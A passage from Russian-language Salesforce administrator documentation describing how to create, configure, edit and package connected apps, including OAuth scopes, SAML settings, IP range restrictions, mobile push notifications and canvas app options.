пользователю. Значение должно находиться в диапазоне от 0 до 100.

• Временной промежуток (в часах), используемый для оценки количества запросов.
Например, если интервал составляет 24 часа, то уведомление отправляется только
при превышении заданного ограничения за последние 24 часа.

Приизменениивременногопромежуткановыйвременнойпромежутокприменяется
толькопослеследующегоуведомленияотекущемвременномпромежутке. Например,
сначала пользователь выбирает временной промежуток отправки уведомлений,
равный одному часу. Затем в 16:05 пользователь выбирает временной промежуток,
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равный 24 часам. Таким образом, последнее уведомление для предыдущего временного промежутка отправляется в
17:00. Следующее уведомление будет отправлено в 17:00 следующего дня.

СМ. ТАКЖЕ:

Просмотр уведомлений об использовании API

Уведомления об использовании API

Приложения для удаленного доступа

Общие сведения о приложении для удаленного доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Прим.: Приложения для удаленного доступа заменяются связанными
приложениями. Чтобы проверять пользователей и контролировать политики
безопасности для внешних приложений, рекомендуем использовать связанные
приложениядлялюбогоприложения, требующегоинтеграцииссистемойSalesforce.
Все текущие приложения для удаленного доступа автоматически перенесены в
связанные приложения во время выпуска Summer'13.

СМ. ТАКЖЕ:

Общие сведения о связанных приложениях
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Связанные приложения

Общие сведения о связанных приложениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Связанное приложение интегрирует приложение в систему Salesforce посредством
интерфейсовAPI. Связанныеприложенияиспользуютстандартныепротоколы SAML и OAuth дляпроверкиподлинности,
внедрения единой регистрации и предоставления маркеров для интерфейсов Salesforce API. Помимо стандартных
возможностей OAuth, связанныеприложенияпозволяютадминистраторамопределятьразличныеполитикибезопасности
и контролировать доступ пользователей к приложениям.

Нижеперечисленысведения, указываемыеразработчикомилиадминистраторомприопределениисвязанногоприложения
для Salesforce.

• Имя, описание, логотип и контактные данные

• URL-адрес приложения, используемый системой Salesforce для авторизации или идентификации

• Протокол авторизации: OAuth, SAML или оба

• Дополнительные диапазоны IP-адресов для доступа к связанному приложению

• Дополнительные сведения о мобильных политиках, доступных связанному приложению для применения

Если связанные приложения используют поставщиков услуг OAuth, определите области OAuth и URL-адрес обратного
вызова для связанного приложения. В свою очередь, система Salesforce заполняет поля «Ключ пользователя» и «Секрет
пользователя» для авторизации связанного приложения.

Если связанные приложения используютпоставщиков услуг SAML, заполните поля «Код объекта», «URL-адрес ACS», «Тип
темы», «Формат кода имени» и «Отправитель» значениями, предоставленными поставщиком услуг, для авторизации
связанного приложения.

Система поддерживает два режима развертывания.

• Приложение создается и используется одной организацией. Как правило, данный пример использования типичен
для отделов информационных технологий.

• Приложение создаетсяоднойорганизацией, а устанавливается другимиорганизациями. Какправило, данныйпример
использования связанных приложений типичен для корпораций или независимых поставщиков ПО.
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Администраторы могут установить связанное приложение в организацию, включить проверку подлинности SAML и
задать профили, наборы полномочий и ограничения диапазонов IP-адресов для управления доступом пользователей к
приложению. При необходимости связанное приложение может использоваться как приложение холста для более
теснойинтеграциивпользовательскийинтерфейс Salesforce. Крометого, администраторымогут удалить установленную
версию связанного приложения и установить более новую версию, если разработчик, обновляющий удаленное
приложение, уведомляет администраторов о наличии новой версии.

Прим.: Версия Group Edition не позволяет управлять доступом отдельных пользователей посредством профилей.
При необходимости задайте политики при редактировании параметров связанного приложения OAuth в версии
Group Edition для определения уровня доступа всех пользователей к связанному приложению.

Пакеты связанных приложений под управлением Salesforce (например, пакеты для загружаемых приложений
Salesforce1) не могут быть установлены. Они обновляются автоматически при обновлении следующего сеанса
пользователя.

Связанныеприложениямогутбытьдобавленытольковуправляемыепакеты. Связанныеприложениянеподдерживаются
неуправляемыми пакетами.

СМ. ТАКЖЕ:

Создание связанного приложения

Редактирование, пакетирование или удаление связанного приложения

salesforce_identity_implementation_guide.pdf

Создание связанного приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Чтобы создать связанное приложение, выполните указанные ниже действия.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения».

2. Нажмите кнопку «Создать» в разделе «Связанные приложения».

Сведения, необходимые для создания связанного приложения, включают перечисленные ниже разделы.

• Основные сведения
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• API (Включить параметры OAuth)

• Параметры веб-приложения

• Настраиваемый связанный обработчик приложений

• Параметры мобильного приложения

• Параметры приложения холста

Пользователи могут создавать связанные приложения без настройки параметров авторизации, холста и мобильного
доступа. Данный тип связанного приложения напоминает закладку на указанный URL-адрес, которая отображается в
средстве запуска приложений пользователя и раскрывающемся меню приложений. Просто введите основные сведения
и заполните поле «Начальный URL-адрес» раздела «Параметры веб-приложения». Если объект назначения требует
выполнения проверки подлинности, то служба, размещающая URL-адрес назначения, должна предлагать пользователям
ввод регистрационных данных при входе.

Чтобы сохранить новое приложение, введите нужные сведения и нажмите кнопку «Сохранить». Теперь приложение
может быть опубликовано, измененоили удалено. Прииспользовании OAuth операция сохраненияприложения создает
два значения, используемых приложением для взаимодействия с системой Salesforce.

• «Ключ пользователя». Значение, используемое клиентомдляидентификациив системе Salesforce. Впротоколе OAuth
2.0 данному значению соответствует client_id.

• «Секрет пользователя». Секрет, используемый клиентом для определения принадлежности ключа пользователя. В
протоколе OAuth 2.0 данному значению соответствует client_secret.

Важное замечание: При обновлении полей связанного приложения помните, что изменения некоторых полей
немедленно применяются ко всем установленным версиям связанного приложения. Данные поля не зависят от
версиииигнорируютжизненныйциклустановкиилипакетирования. Пользователямсвязанногоприложениябудут
отображаться такие изменения, как обновление описания. Ниже перечислены поля, которые не зависят от версии.

• Описание

• URL-адрес сведений

• URL-адрес изображения логотипа

• URL-адрес обратного вызова

Основные сведения

Данный раздел содержит основные сведения о приложении, включая имя приложения, логотип и контактные данные.

1. Заполните поле «Имя связанного приложения». Данное имя отображается в списке связанных приложений.

Прим.: Имя должно быть уникальным для текущих связанных приложений организации. Имя удаленного
связанногоприложенияможетиспользоватьсяповторно, приусловии, что связанноеприложениебылосоздано
не ранее выпуска Spring'14. Имя удаленного связанного приложения не может использоваться повторно, при
условии, что связанное приложение было создано посредством более раннего выпуска.

2. Заполнитеполе «API-имя», используемоеприобращениикприложениювпрограмме. Поумолчаниюданноеполе
содержит версию имени без пробелов. Имя может содержать только буквы, цифры и символы подчеркивания. Имя,
отображающеесяпоумолчанию, должнобытьизмененоприналичиидругихсимволоввисходномимениприложения.

3. Заполните поле «Адрес эл. почты контакта» контактным адресом эл. почты. Данный адрес недоступен
администраторам, устанавливающим приложение.
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4. Заполните поле «Тел. контакта» контактным номером телефона. Данный номер недоступен администраторам,
устанавливающим приложение.

5. Заполните поле «URL-адрес изображения логотипа» для отображения логотипа в списке связанных приложений,
а также на странице согласия, открывающейсяприпроверке подлинности. URL-адрес должениспользовать протокол
HTTPS. Размер изображения логотипа не должен превышать 125 пикселов в высоту или 200 пикселов в ширину;
допустимыеформаты: GIF, JPG или PNG размеромнеболее 100 Кб. Поумолчаниюотображаетсяоблако. Чтобыдобавить
настраиваемый логотип, воспользуйтесь одним из перечисленных ниже способов.

• Чтобызагрузитьсобственноеизображениелоготипа, щелкните«Загрузитьизображениелоготипа». Выберите
локальныйфайл, соответствующийтребованиямпоразмерулоготипа. Позавершениизагрузки URL-адреслоготипа
отображается в поле «URL-адрес изображения логотипа». В противном случае, убедитесь, что логотип
соответствует требованиям по размеру.

• Чтобы выбрать логотип из представленных образцов, щелкните «Выбрать один из тестовых логотипов».
Пользователюдоступнылоготипыдляприложений Salesforce, стороннихприложенийиорганов стандартизации.
Щелкнитенужныйлоготип, азатемскопируйтеивставьтеотображаемый URL-адресвполе «URL-адрес изображения
логотипа».

• Чтобы воспользоваться общедоступным логотипом, хранящимся на серверах Salesforce, загрузите изображение,
соответствующее требованиям по размеру логотипа (не более 125 пикселов в высоту или 200 пикселов вширину;
допустимые форматы: GIF, JPG или PNG размером не более 100 Кб), в качестве документа посредством вкладки
«Документы». Затем просмотрите изображение для извлечения URL-адреса и введите данный URL-адрес в поле
«URL-адрес изображения логотипа».

6. Заполните поле «URL-адрес значка» для отображения логотипа на странице утверждения OAuth, открывающейся
при первом использовании приложения. Логотип размером не более 16 пикселов в высоту и ширину должен быть
размещен на белом фоне. Кроме того, тестовые логотипы доступны для значков.

Чтобывыбрать значокизпредставленныхобразцов, щелкните «Выбратьодинизтестовыхлоготипов». Щелкните
нужный значок, а затем скопируйте и вставьте отображаемый URL-адрес в поле «URL-адрес значка».

7. Заполните поле «URL-адрес сведений» при наличии веб-страницы, содержащей дополнительные сведения о
приложении.

8. Заполните поле «Описание» для отображения в списке связанных приложений.

До выпуска Winter'14 данный раздел содержал поля «Начальный URL-адрес» и «Мобильный начальный URL-адрес».
Теперь данные поля относятся к разделам «Параметры веб-приложения» и «Параметры мобильного приложения»
соответственно.

API (Включить параметры OAuth)

Данный раздел определяет способы взаимодействия приложения с системой Salesforce. Чтобы настроить параметры
проверки подлинности, установите флажок «Включить параметры OAuth».

1. Заполните поле «URL-адрес обратного вызова» конечной точкой, на которую система Salesforce возвращает
приложение при использовании OAuth. В протоколе OAuth данному значению соответствует redirect_uri. В
зависимости от используемого процесса OAuth, данное поле, как правило, содержит URL-адрес, используемый для
перенаправленияобозревателяпользователяпослеуспешнойпроверкиподлинности. Данный URL-адресиспользуется
некоторыми процессами OAuth для передачи маркера доступа, поэтому должен использовать безопасный протокол
HTTP (HTTPS) или настраиваемую схему URI. При вводе нескольких URL-адресов обратного вызова система Salesforce
сопоставляет значение URL-адреса обратного вызова, заданное приложением, со значением поля «URL-адрес
обратного вызова». Проверка считается пройденной только при совпадении данных значений.
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2. Прииспользованиипроцесса JWT OAuth установитефлажок «Использовать цифровые сигнатуры». Еслиприложение
использует сертификат, щелкните «Выбратьфайл» и выберите нужныйфайл сертификата.

3. Добавьте все поддерживаемые области OAuth в столбец «Выбранные области OAuth». Данные области ссылаются
наполномочия, предоставленныепользователем, запустившимсвязанноеприложение; имямаркера OAuth отображается
в скобках.

Доступ и управление лентой Chatter (chatter_api)
Разрешает доступ только к ресурсам Chatter REST API.

Доступ и управление данными (api)
Разрешает доступ к учетной записи зарегистрированногопользователяпосредствоминтерфейсовAPI (например,
REST API и Bulk API). Кроме того, данное значение содержит значение chatter_api, разрешающее доступ к
ресурсам Chatter REST API.

Доступ к основным сведениям (id, profile, email, address, phone)
Разрешает доступ к службе URL-адресов удостоверений.

Доступ к настраиваемым полномочиям (custom_permissions)
Разрешает доступ к настраиваемым полномочиям организации, соответствующей связанному приложению, и
определяет доступность каждого полномочия текущему пользователю.

Предоставление доступа к уникальному идентификатору (openid)
Разрешает доступ к уникальному идентификатору зарегистрированного пользователя для приложений OpenID
Connect.

Полный доступ (full)
Разрешает доступ ко всем данным, доступным зарегистрированному пользователю, и охватывает все другие
области. Значение full не возвращает маркер обновления. Чтобы получить маркер обновления, отправьте
запрос на область refresh_token.

Выполнение запросов от имени пользователя в любое время (refresh_token, offline_access)
Разрешает возврат маркера обновления при наличии права на его получение. Данная область позволяет
приложению взаимодействовать с данными пользователя в автономном режиме. Область refresh_token
является синонимом области offline_access.

Предоставление доступа к настраиваемым приложениям (visualforce)
Разрешает доступ к страницам Visualforce.

Предоставление интерактивного доступа к данным (web)
Разрешает использование параметра access_token в Интернете. Кроме того, данное значение содержит
значение visualforce, разрешающее доступ к страницам Visualforce.

Флажок «Утверждение пользователя данной организации не требуется», установленный в параметрах организации
до выпуска Spring'12, не влияет на процесс автоматического утверждения приложения для пользователей, относящихся
к организации-поставщику приложения. Данное условие отображается установленнымфлажком «Утверждение
пользователя данной организации не требуется», доступным только для чтения. Созданное связанное приложение
должно быть установлено администратором организации, а параметру «Разрешенные пользователи» должно быть
задано значение «Пользователи, допущенные администратором». Флажок отображается только при изначальном
выборе параметра удаленного доступа.

Параметры веб-приложения

Заполните поле «Начальный URL-адрес» для перенаправления проверенных пользователей в конкретную область.
Если поле «Начальный URL-адрес» не содержит значения, то проверенные пользователи перенаправляются на
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стандартнуюначальнуюстраницуприложения. Данноеполеможетбытьпропущеноприсозданиисвязанногоприложения,
являющегося приложением холста. Поле «URL-адрес приложения холста» содержит URL-адрес, который вызывается
для связанного приложения.

Чтобы разрешить связанному приложению использование поставщика услуг SAML, установите флажок «Включить
SAML». Заполните поля «Код объекта», «URL-адрес ACS», «Тип темы», «Формат кода имени» и «Отправитель»
значениями, предоставленными поставщиком услуг. При наличии сертификата безопасности, предоставленного
поставщикомуслуг, выберите «Проверить подписи запроса». Найдите сертификат в системе. Данное действие является
обязательным при использовании поставщика услуг для входа в систему Salesforce и подписании поставщиком услуг
запросов SAML.

Важное замечание: При наличии загруженного сертификата все запросы SAML должны быть подписаны. При
отсутствии загруженного сертификата принимаются все запросы SAML.

Чтобы загрузить сертификат и выбрать метод шифрования утверждения, выберите «Зашифровать ответ SAML».
Допустимыезначенияалгоритмашифрования: «AES–128»  (ключдлиною 128 бит), «AES–256»  (ключдлиною 256 бит)
и «Triple-DES»  (тройной алгоритмшифрования данных).

Настраиваемый связанный обработчик приложений

Настроить алгоритм связанного приложения можно с помощью Apex. Создайте класс, расширяющий класс
ConnectedAppPlugin Apex, и свяжите его со связанным приложением. Этот класс может поддерживать новые
протоколы проверки подлинности или отвечать на атрибуты пользователя выгодным для бизнес-процесса способом.

Модуль запускается со стороны учетной записи пользователя. В поле Запустить в качестве выберите пользователя для
запускамодуля. Еслипользовательне авторизовандляиспользования связанногоприложения, воспользуйтесьдля этого
методом авторизации. Дополнительную информацию см. в разделе «Класс ConnectedAppPlugin» в Руководстве
разработчика Force.com Apex Code.

Параметры мобильного приложения

1. Заполнитеполе «Мобильный начальный URL-адрес» дляпереадресациипользователейпридоступекприложению
посредством мобильного устройства. Если поле «Мобильный начальный URL-адрес» не содержит значения, то
пользователи будут отправлены на адрес, заданный в поле «Начальный URL-адрес» раздела «Параметры
веб-приложения». Данное поле может быть пропущено при создании связанного приложения, являющегося
приложением холста. Поле «URL-адрес приложения холста» содержит URL-адрес, который вызывается для связанного
приложения.

2. Если приложение поддерживает защиту PIN-кодом, установите флажок «Защита PIN-кодом». Данный параметр
позволяет администратору настроить время ожидания сеанса и длину PIN-кода для мобильных приложений после
установки связанного приложения. Защита PIN-кодом поддерживается автоматически пакетом Salesforce Mobile SDK
(https://developer.salesforce.com/page/Mobile_SDK). Кроме того, защита PIN-кодом может применяться вручную путем
считывания объекта mobile_policy из URL-адреса удостоверения пользователя.

3. Выберите платформу iOS или Android в раскрывающемся списке «Платформа приложения».

4. Выберите поддерживаемый тип устройств в раскрывающемся списке «Ограничить типом устройства». Возможные
значения: «Телефон», «Планшетный компьютер» и «Планшетный мини-компьютер». Если приложение является
универсальным, то есть поддерживает все типы устройств, пропустите данное поле.

5. Заполните поле «Версия приложения».

6. Заполните поле «Минимальная версия ОС».
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7. Чтобы разрешить только внутреннее распространение данного приложения, установите флажок «Личное
приложение». Данный параметр является обязательным, так как компания Apple не позволяет распространять
общедоступные мобильные приложения вне интернет-магазина App Store.

8. Еслимобильное приложение является личным, заполните поле «Двоичный файл мобильного приложения». Файл
должен использовать формат IPA для платформы iOS или формат APK для платформы Android.

9. Только для приложений iOS:

a. Заполните поле «Значок приложения». Данный значок отображается во время загрузки и установки приложения
на устройство iOS.

b. Заполните поле «Идентификатор пакета iOS».

Прим.: При использовании операционной системы iOS 7 или более поздней версии укажите код пакета,
использовавшийся для разработки приложения в XCode. В противном случае, при установке приложения
конечному пользователю будут отображаться два значка приложения.

10. Если мобильное связанное приложение является общедоступным, а его двоичныйфайл не загружен в систему
Salesforce, заполните поле «URL-адрес двоичного файла приложения».

Прим.: Мобильная интеграция, удаленная из новой версии текущего связанного приложения, не добавляется в
другиеверсиисвязанногоприложения. Например, пользовательпубликуетпакет, содержащийверсию 1.0 связанного
приложения с мобильной интеграцией. Затем пользователь удаляет мобильную интеграцию из приложения,
выполняет его повторное пакетирование и публикует версию пакета 1.1. Если клиент устанавливает предыдущую
версию пакета 1.0, то версия 1.0 связанного приложения не будет содержать мобильную интеграцию.

Нижеперечисленыусловия, привыполнениикоторыхсвязанноеприложениеможетполучатьвсплывающиеуведомления.

• Приложение создано посредством пакета Salesforce Mobile SDK.

• Приложение применяет протокол всплывающих уведомленийMobile SDK для платформы.

• Пользователь зарегистрировался в качестве разработчика в поставщике мобильной платформы (Apple или Google).

• Приложение зарегистрировано в службе APNS (для всплывающих уведомлений iOS) или GCM (для всплывающих
уведомлений Android).

• Пользователь применяет средства обработки Apex для всплывающих уведомлений.

Прим.: Связанноеприложение, поддерживающееактивнуюдоставку, можетподдерживать толькооднумобильную
платформу. Чтобы разрешить поддержку всплывающих уведомлений для версий Android и iOS мобильного
приложения, создайте связанное приложение для каждой платформы.

Дополнительную информацию см. в Руководстве по внедрению всплывающих уведомлений Salesforce Mobile.

Чтобы настроить всплывающие уведомления для службы APNS (iOS), выполните указанные ниже действия.

1. Установите флажок «Активная доставка сообщений включена».

2. Заполните поле «Поддерживаемая платформа активной доставки» значением «Apple».

3. Выберите допустимую среду Apple.

4. Заполнитеполе «Сертификат» файломсертификата .p12, полученнымотслужбы APNS прирегистрацииприложения
для всплывающих уведомлений (например, appkey.p12).

5. Введите пароль для файла сертификата .p12.

Чтобы настроить всплывающие уведомления для службы GCM (Android), выполните указанные ниже действия.

1. Установите флажок «Активная доставка сообщений включена».
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2. Заполните поле «Поддерживаемая платформа активной доставки» значением «Android GCM».

3. Заполните поле «Ключ для серверных приложений (API-ключ)» ключом, полученным во время регистрации
разработчика в Google.

Чтобы изменить мобильную платформу, настроенную для всплывающих уведомлений, выполните указанные ниже
действия.

1. Снимите флажок «Активная доставка сообщений включена».

2. Сохраните связанное приложение и нажмите кнопку «Правка».

3. Выберитенужнуюплатформувраскрывающемсясписке«Платформаприложения»иизменитесвязанныезначения
в разделе «Параметры мобильного приложения».

4. Перенастройте всплывающие уведомления для новой платформы.

Параметры приложения холста

Система поддерживает два типа приложений холста.

• Приложения холста, установленные администратором организации.

• Личныеприложенияхолста, установленныеконечнымипользователямиорганизаций. Пользователиоткрываютличное
приложение холста на вкладке Chatter; пользователям предлагается разрешить приложениюподключение к данным
Salesforce. Кроме того, данные действия назначают приложение в качестве личного приложения холста.
Дополнительную информацию см. в разделе «Личные приложения холста» Руководства разработчика Force.com Canvas.

1. Чтобы использовать связанное приложение в качестве приложения холста, выберите «Force.com Canvas».

2. Заполните поле «URL-адрес приложения холста»  URL-адресом стороннего приложения. Пользователь
перенаправляется на данный URL-адрес при выборе ссылки на приложение холста.

3. Заполнитеполе «Метод доступа». Данноеполеопределяет способинициированияпроцессапроверкиподлинности
OAuth приложением холста.

• «Подписанный запрос (POST)»: система использует проверку подлинности OAuth, а доступ предоставляется
пользователям неявно при установке приложения холста. Пользователям не предлагается разрешать стороннему
приложениюдоступксобственнымсведениям. Прииспользованииданногометодадоступапроверкаподлинности
передается прямо в URL-адрес приложения холста.

Если приложение холста использует проверку подлинности подписанного запроса, убедитесь, что поле
«Выбранные области OAuth» не содержит значения «Выполнение запросов от имени пользователя».

• «Веб-поток OAuth (GET)»: система использует проверку подлинности OAuth, а пользователям предлагается
разрешатьстороннемуприложениюдоступксобственнымсведениям. Прииспользованииданногометодадоступа
приложение холста должно инициировать процесс проверки подлинности OAuth.

4. При использовании единой регистрации SAML для проверки подлинности приложения холста выберите нужное
значение в раскрывающемся списке «Метод инициирования SAML». Данноеполе доступно толькопосле установки
флажка «Включить SAML» вразделе «Параметрывеб-приложения». Нижеперечисленывозможныезначенияданного
поля.

• «Поставщикудостоверенийинициирован»: системаSalesforceотправляетисходныйзапросдляначалапроцесса
единой регистрации.

• «Поставщик услуг инициирован»: приложение холста начинает процесс единой регистрации после вызова
приложения.

5. Выберите области отображения приложения холста в поле «Области».
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«Лента Chatter»: приложение холста отображается в ленте. При выборе данного значения рекомендуем создать
элемент ленты CanvasPost и убедиться, что приложение холста доступно текущему пользователю.

•

• «Вкладка Chatter»: приложениехолстаотображается в спискеприложенийнавкладкеChatter. Привыбореданного
значения приложение холста отображается автоматически.

• «Консоль»: приложение холста отображается в нижнем колонтитуле или на боковых панелях консоли Salesforce.
При выборе данного значения рекомендуем выбрать область отображения на консоли путем добавления
приложения холста в качестве настраиваемого компонента консоли.

• «Макеты и мобильные карты»: приложение холста может отображаться на макете страницы или мобильной
карте. Привыбореданного значенияобластьотображенияприложенияхолстаопределяетсяпутемегодобавления
в макет страницы.

• «Мобильная навигация»: приложение холста отображается в меню навигации приложения Salesforce1.

Прим.: Приложения холста не отображаются в меню навигации приложения Salesforce1 на мобильных
устройствах Android. Чтобы просмотреть приложения холста в меню навигации на устройстве Android,
воспользуйтесь мобильным веб-приложением Salesforce1.

• «Open CTI»: приложение холста отображается в средстве управления вызовами. При выборе данного значения
рекомендуем указать приложение холста в файле определения центра обработки вызовов.

• «Публикатор»: приложение холста отображается в публикаторе. При выборе данного значения рекомендуем
создать настраиваемое быстрое действие холста и добавить его в глобальный макет или макет объекта.

• «Страница Visualforce»: приложение холста может отображаться на странице Visualforce. Рекомендуем выбрать
данное значение при добавлении компонента <apex:canvasApp> для отображения приложения холста на
странице Visualforce; в противном случае отображается ошибка.

6. Чтобысоздать глобальноедействиедляприложенияхолста, установитефлажок «Создавать действия автоматически».
Прежде чем создать глобальное действие для приложения холста, рекомендуем выбрать значение «Публикатор» в
поле «Область». Впротивномслучаесоздание глобальныхдействийнеподдерживается. Принеобходимостидействие
может быть позже создано вручную.

7. Приприменениисобственногокласса Apex (Canvas.CanvasLifecycleHandler) заполнитеполе «Класс жизненного цикла»
именем класса. При использовании класса Apex (CanvasLifecycleHandler) пользователи могут настраивать сведения о
контексте и добавлять настраиваемый алгоритм в приложение холста.

8. Чтобы разрешить конечным пользователям установку приложения, установите флажок «Включить как личное
приложение холста». Прииспользованииличныхприложенийхолстаполе «Область» поддерживаеттолькозначение
«Вкладка Chatter». Дополнительнуюинформациюоличныхприложениях холста см. в разделе «Личныеприложения
холста» Руководства разработчика Force.com Canvas.

Прим.: Параметр «Включить как личное приложение холста» отображается только после включения
поддержкиличныхприложенийхолста администраторомцелевойорганизацииприложения. Дополнительную
информацию см. в разделе «Включение личных приложений холста в организации» Руководства разработчика
Force.com Canvas.

СМ. ТАКЖЕ:

Редактирование, пакетирование или удаление связанного приложения

Общие сведения о связанных приложениях

URL-адреса удостоверений
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Редактирование, пакетирование или удаление связанного приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Созданное связанное приложение доступно для редактирования, пакетирования или
удаления.

Прим.: Имядолжнобытьуникальнымдлятекущихсвязанныхприложенийорганизации. Имяудаленногосвязанного
приложения может использоваться повторно, при условии, что связанное приложение было создано не ранее
выпуска Spring'14. Имя удаленного связанного приложения не может использоваться повторно, при условии, что
связанное приложение было создано посредством более раннего выпуска.

Редактирование связанного приложения

Связанное приложение может быть обновлено в любое время. Введите строку «Приложения» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт «Приложения». Выберите имя нужного связанного приложения и щелкните
ссылку «Правка». Чтобы сохранить внесенные изменения, нажмите кнопку «Сохранить».

Откройте страницу сведений о созданном связанном приложении и укажите разрешенные диапазоны IP-адресов.

Диапазоны IP-адресовработаютсподключеннымиприложениямисподдержкой OAuth, ане споддержкой SAML. Укажите
действующие IP-адреса связанного приложения.

Чтобы задать допустимый диапазон IP-адресов, выполните указанные ниже действия.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения».

2. Выберите имя нужного связанного приложения.

3. Нажмите кнопку «Создать» в разделе «Диапазон надежных IP-адресов для процесса веб-сервера OAuth».

4. Введите действительные IP-адреса в поля «Начальный IP-адрес» и «Конечный IP-адрес».

Чтобы добавить несколько прерывистых диапазонов, нажмите кнопку «Создать» для ввода каждого диапазона.

При необходимости разрешите конкретным пользователям доступ к связанному приложению вне диапазона надежных
IP-адресовдлясвязанныхприложенийсподдержкой OAuth. Например, чтобыразрешитьдоступнекоторымпользователям
во время поездки, назначьте связанному приложению значение «Смягчить ограничения IP-адресов со вторым
коэффициентом». Пользователю, пытающемуся получить доступ к связанному приложению вне данного диапазона,
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предлагается указать второйфакторпроверкиподлинности (например, кодмаркера). Связанноеприложение, прошедшее
двухфакторную проверку подлинности, может использоваться вне диапазона надежных IP-адресов.

1. Введитестроку «Связанные приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберитепараметруправления
связанными приложениями.

2. Чтобы просмотреть значения, щелкните ссылку «Правка» напротив имени нужного связанного приложения.

3. Выберите значениераскрывающегося списка «Смягчить ограничения IP-адресов» вполе «Смягчениеограничений
IP-адресов».

Прим.: Включенный параметр сеанса «Применять диапазоны IP-адресов входа при каждом запросе» для
организации влияет на алгоритм смягчения ограничений IP-адресов. Дополнительную информацию см. в разделе
«Применение непрерывных IP-адресов и смягчение ограничений IP-адресов связанного приложения» на странице
5741.

Откройте страницу сведений о созданном связанном приложении и укажите настраиваемые атрибуты. Настраиваемые
атрибуты определяют метаданные SAML или параметры OAuth, считываемые при выполнении OAuth.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения».

2. Выберите имя нужного связанного приложения.

3. Нажмите кнопку «Создать» в разделе «Настраиваемые атрибуты».

Каждый настраиваемый атрибут должен использовать уникальный ключ и содержать поля, доступные в меню
«Вставить поле». Например, назначьте имя ключа country и вставьте поле $Organization.Country. При
использовании SAML атрибуты отправляются как операторы атрибута SAML. При использовании OAuth атрибуты
доступны как объект custom_attributes в URL-адресе удостоверения пользователя.

Ниже перечислены настраиваемые атрибуты, доступные для связанных приложений Salesforce1.

Табл. 53: Настраиваемые атрибуты для связанного приложения Salesforce1 на устройствах Android

ОписаниеЗначение атрибутаКлюч атрибута

CALL_HISTORY • При выборе значения DISABLED
данныйключудаляетрегистрацию
вызовов из меню навигации.

• DISABLED

• ADMIN_DEFINED

• SIMPLE
• При выборе значения

ADMIN_DEFINED данный ключ
включает собственную
регистрацию вызовов Android.

• При выборе значения SIMPLE
данный ключ включает
регистрацию вызовов Aura.

Табл. 54: Настраиваемые атрибуты для связанного приложения Salesforce1 на устройствах iOS

ОписаниеЗначение атрибутаКлюч атрибута

USE_ALTERNATE_USER_PROFILE • При выборе значения TRUE
данныйключвключаетначальную
страницу профиля Aura.

• TRUE

• FALSE
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ОписаниеЗначение атрибутаКлюч атрибута

• При выборе значения FALSE
данный ключ включает
собственнуюначальную страницу
профиля iOS.

SHOW_OPEN_IN •• При выборе значения FALSE
данный ключ запрещает

FALSE

совместное использование файла
посредством ссылки на него и
открытие файла с помощью
стороннего приложения.

При определении настраиваемых атрибутов рекомендуем окружить значения атрибутов кавычками.

Важное замечание: При обновлении полей связанного приложения помните, что изменения некоторых полей
немедленно применяются ко всем установленным версиям связанного приложения. Данные поля не зависят от
версиииигнорируютжизненныйциклустановкиилипакетирования. Пользователямсвязанногоприложениябудут
отображаться такие изменения, как обновление описания. Ниже перечислены поля, которые не зависят от версии.

• Описание

• URL-адрес сведений

• URL-адрес изображения логотипа

• URL-адрес обратного вызова

Пакетирование связанного приложения

Чтобы предоставить доступ пользователям других организаций Salesforce, воспользуйтесь пакетированием созданного
связанного приложения или новой версии текущего приложения. Связанное приложение может быть добавлено в
управляемыйпакет наряду с другими компонентами (например, настраиваемые объекты, страницы Visualforce или классы
Apex) и аналогичноим. Данный алгоритмпозволяет упростить процесс распространения связанного приложения среди
других организаций Salesforce. Связанные приложения, являющиеся пакетируемыми компонентами, могут использовать
преимущества всех других функций управляемых пакетов (например, составление списков в каталоге AppExchange,
активные доставки обновлений, сценарии Apex пост-установки, управление лицензиями и расширенная поддержка
подписчиков).

